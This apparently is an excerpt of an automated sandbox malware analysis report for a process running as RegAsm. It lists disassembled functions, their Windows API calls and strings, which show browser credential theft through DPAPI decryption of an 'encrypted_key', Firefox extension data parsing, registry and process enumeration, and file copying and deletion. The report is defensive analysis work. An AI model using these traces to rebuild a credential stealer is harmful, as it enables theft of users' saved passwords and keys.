Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

, xrefs: 00409E11
"encrypted_key":", xrefs: 00409D80
DPAPI, xrefs: 00409DD9

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 596995583-738592651
Opcode ID: 740c6884d9f561bb7ce577100f1b7d1c7d71afeb4ed27ad6aba31cad7ccdc5b7
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: 740c6884d9f561bb7ce577100f1b7d1c7d71afeb4ed27ad6aba31cad7ccdc5b7
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6CB5C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CB5C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CB5C969
GetSystemInfo.KERNEL32(?), ref: 6CB5C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CB5C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CB5C9E2

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 6b4ff25c2cc50dbd8207bb5fd4ebe5bdf38ecf12b7e7aa0aca9005cacc20329f
Instruction ID: 5276b9f37e84e33ec7f4a017aa8979128e6b35fd8f95021f3d57b519c1b3ec2a
Opcode Fuzzy Hash: 6b4ff25c2cc50dbd8207bb5fd4ebe5bdf38ecf12b7e7aa0aca9005cacc20329f
Instruction Fuzzy Hash: 2721F971741258ABDB15AE64CC84BAE73BAEB4E704FA0051EF907A7B80DB705E0087A1

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0141AC70), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,0141AD60), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,0141AC20), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0141AC70), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,0141AD60), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,0141AC20), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0141AA70,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(01422C98,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,0141AB80,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(0141AA70,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-2812842227
Opcode ID: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 00417E7C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegQueryValueExA.KERNEL32(00000000,014232A8,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,014234B8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: QueryValue$CloseEnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 1452615360-4073750446
Opcode ID: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,01423C38,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01423488,00420AE7), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,01423C38,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01423488,00420B4F), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

moz-extension+++, xrefs: 0040F3ED
^userContextId=4294967295, xrefs: 0040F3DC

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 9f21ac8ec86b3675d1afdf3b7edf4d9d34f6618fc804e98a111b7a094f4869c7
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 9f21ac8ec86b3675d1afdf3b7edf4d9d34f6618fc804e98a111b7a094f4869c7
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

